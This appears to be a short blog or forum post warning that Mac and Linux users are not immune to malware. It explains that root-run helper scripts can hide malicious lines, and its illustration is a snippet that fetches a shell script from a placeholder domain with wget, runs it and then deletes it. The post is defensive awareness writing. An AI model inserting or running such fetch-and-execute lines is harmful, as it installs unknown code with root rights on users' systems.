False Security

Get a Mac so that you don't have to worry about viruses...

Linux is immune to malware...

Only windows users have to worry about security software...


If I were a "bad guy", MacOSX and to a lesser extent, Linux, are the platforms I would be targeting right now for spreading virii and botnets. This is simply because you can depend on the majority of end users to naively click anything on the web, follow bogus instructions, and not have an antivirus installed, since they're running a system that's "invulnerable".

Since most malware these days that people get infected with is designed not to exploit the system on its own to gain access, but merely to trick the user into installing it themselves, the less paranoid your target is the more likely they are to get infected.

Trojan .dmg file for OSX:

 

Linux is a little harder due to the repository system, users dont typically download software off of a website. However, alot of system fixes, driver fixes, or advanced setups use shell scripts and those scripts almost always require root permissions. If you grab someones several hundred line script to setup/fix somthing for you, whats stopping them from having embedded a couple lines which fetch and install a malicious piece of software as well? Unless you read the script entirely and know what you are doing, or it came from a well reviewed source, there is no assurance that it is safe to use.

example... in the middle of some random script you found is this: 
...
wget fakedomain.cn/x/tmp.sh
sh tmp.sh
rm tmp.sh
...

you gave root/sudoer permission to the script initially (to fix your problem, get that driver to work, setup a service for you, etc..) , and you have no idea what tmp.sh does. Most users wont notice the new daemon that's running in the background if its not using up too much in the way of resources, just like in Windows.

Stop telling people to use either system so that they don't need to worry about viruses. Unix systems are more secure in general, there is less malware out there for them right now, but they are not immune to being infected.

All computer users should exercise some common sense and maintain a bit of healthy distrust.